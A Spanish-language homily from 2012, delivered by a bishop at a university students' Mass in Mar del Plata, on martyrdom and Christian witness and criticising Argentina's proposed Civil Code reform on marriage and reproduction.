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Homilía del Obispo en el Día del Estudiante Universitario

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p align=centerstrongem“Y ustedes también dan testimonio”/em/strong/p
p align=center(Jn 15,27)/p
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p align=centerHomilía en la Misa del día del estudiante universitario/p
p align=centerMar del Plata, Parroquia de la Asunción/p
p align=center20 de septiembre de 2012/p
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Queridos estudiantes:

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En un momento de particular dramatismo, como el que atraviesa la cultura en nuestra patria, esta Misa del día del estudiante que celebra la pastoral universitaria, es un alto en medio del combate de la fe, un oasis refrescante en la búsqueda y en la defensa de la verdad; una peregrinación a la fuente donde, mediante la escucha reverente de la Palabra de Dios y la recepción devota de la comunión eucarística, clarificamos nuestra identidad de discípulos y misioneros de Jesucristo, renovamos nuestras fuerzas y volvemos a formular nuestro compromiso con invencible esperanza.

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La liturgia del día de hoy nos invita a pensar en el significado del martirio, al conmemorar a los santos coreanos Andrés Kim Taegom, Pablo Chong Hasang y sus compañeros mártires. Según lo anunciado por el Señor y la evidencia de la historia de la Iglesia en dos milenios, los discípulos de Jesucristo hacemos frente a la oposición del mundo cerrado a la sabiduría del Evangelio, no con las armas físicas, sino con las del espíritu; no con la violencia de la fuerza exterior, sino con la siembra de la verdad y la fragancia del testimonio.

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Testimonio y martirio son, como sabemos, vocablos equivalentes según su etimología latina o griega respectivamente. Se trata de palabras que deben resonar hoy más que nunca como familiares a nuestros oídos de creyentes. La historia de la Iglesia nos condujo a identificar la palabra martirio con el testimonio supremo sobre Cristo, mediante el derramamiento de la sangre. Esta será siempre la forma paradigmática de nuestro seguimiento del Señor, inspiradora de la caridad que debe animar a todo discípulo tanto en momentos de relativa paz como en tiempos de persecución.

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En este profundo cambio cultural que está en curso, la Providencia nos convoca a prestar especial atención a las palabras del Maestro: “Si el mundo los odia, sepan que antes me ha odiado a mí. Si ustedes fueran del mundo, el mundo los amaría como cosa suya. Pero como no son del mundo, sino que yo los elegí y los saqué de él, el mundo los odia (…) Cuando venga el Paráclito que yo les enviaré desde el Padre, el Espíritu de la Verdad que proviene del Padre, él dará testimonio de mí. Y ustedes también dan testimonio, porque están conmigo desde el principio” (Jn 15, 15-18. 26-27).

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Jesús nos invita a dar testimonio de Él sin avergonzarnos, aunque por ello debamos sufrir menosprecio y persecución. No nos ha dejado solos, sino que nos ha prometido el Espíritu de la Verdad. Es él quien hace presente al mismo Cristo con su gracia. Escuchemos a San Agustín: “¿No son los mártires testigos de Cristo, que dan testimonio de la verdad? Pero si pensamos con más diligencia, cuando los mártires dan testimonio, es el mismo Cristo quien da testimonio de sí, pues él habita en los mártires para que den testimonio de la verdad” (San Agustín, emSermón/em 128).

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Esta es la consigna del momento: dar testimonio de la verdad. Ante todo con nuestra propia conducta, sin dejarnos torcer por la furia del viento contrario. Decía el mártir San Ignacio de Antioquia, en el alba del siglo II: “Lo que necesita el cristianismo, cuando es odiado por el mundo, no son palabras persuasivas, sino grandeza de alma” (San Ignacio de Antioquia, emCarta a los Romanos/em, 3). Y el gran apologista Tertuliano en épocas de sangrienta persecución  afirmaba: “La sangre de los mártires es semilla de cristianos” (Tertuliano, emApol. /em50, 13).

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Vivimos horas en las que está en juego la identidad histórico-cultural de nuestra nación argentina. Poderosos grupos de presión internacional con base y complicidad local, van logrando sus objetivos al destruir los cimientos sobre los cuales se ha asentado la vida en sociedad durante milenios. Domina la ideología del progreso, y nuestra visión del hombre, del matrimonio y la familia, así como nuestra afirmación acerca de la dignidad intangible de todo ser humano desde el momento de su concepción, lo mismo que nuestra negativa a la manipulación en el modo de gestación de un ser humano, son calificadas como posturas del pasado, válidas tan sólo para quienes pretenden vivir anclados en él. Quienes deberían ser hombres sabios nos tratan de fundamentalistas.

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Al emprender la redacción del proyecto de reforma del Código Civil, sus voceros afirman que las leyes deben reflejar la realidad que la gente vive, olvidando que el sentido de las leyes es la promoción del bien común de toda la sociedad; olvidando también que toda ley positiva debe respetar el orden natural, pues el hombre no es sólo libertad sino naturaleza, y aquella nunca puede obrar en contra de ésta.

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El orden natural presupuesto en el código anterior, es ahora sustituido por una concepción según la cual el hombre se inventa a sí mismo y sus deseos subjetivos pasan a ser derechos objetivos, al desaparecer todo vestigio de verdad objetiva universalmente válida.

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Entre muchos ejemplos que podemos brindar, nos asombra oír que se excluye del concepto jurídico del matrimonio la fidelidad conyugal. Se pretende explicarnos que la fidelidad es un rasgo que entra en la moral privada, con lo cual se introduce una separación neta entre el derecho y la moral. Nos preguntamos perplejos si el derecho puede prescindir de la moral.

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Nos angustia pensar que un niño pueda ser concebido como un “menú a la carta”, en una cadena de manipulaciones y contratos, anteponiendo un supuesto “derecho al hijo” al bien superior del niño.

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Lejos de quedar paralizados en el lamento estéril, es la hora de despertar las conciencias. Para los jóvenes universitarios católicos, los estudios académicos no pueden quedar en mera capacitación técnica. Sin duda que la competencia en la disciplina específica será siempre un deber de conciencia. Pero deben ir acompañados de una búsqueda profunda de “algo más elevado que corresponda a todas las dimensiones que constituyen al hombre”, superando así una “visión utilitarista de la educación”. En estos términos se expresaba Su Santidad Benedicto XVI en el discurso pronunciado ante los profesores universitarios en la Basílica de San Lorenzo de El Escorial, el 19 de agosto del pasado año 2011.

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Queridos jóvenes, sirvan estas breves reflexiones de vuestro Obispo, a modo de estímulo para disponerse a una formación integral que los capacite para el testimonio de la verdad durante esta etapa decisiva de sus vidas. No se avergüencen de reconocerse cristianos y católicos. “Al que me reconozca abiertamente ante los hombres, yo los reconoceré ante mi Padre que está en el cielo. Pero yo renegaré ante mi Padre que está en el cielo de aquel que reniegue de mí ante los hombres” (Mt 10,32-33).

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p align=center+ Antonio Marino/p
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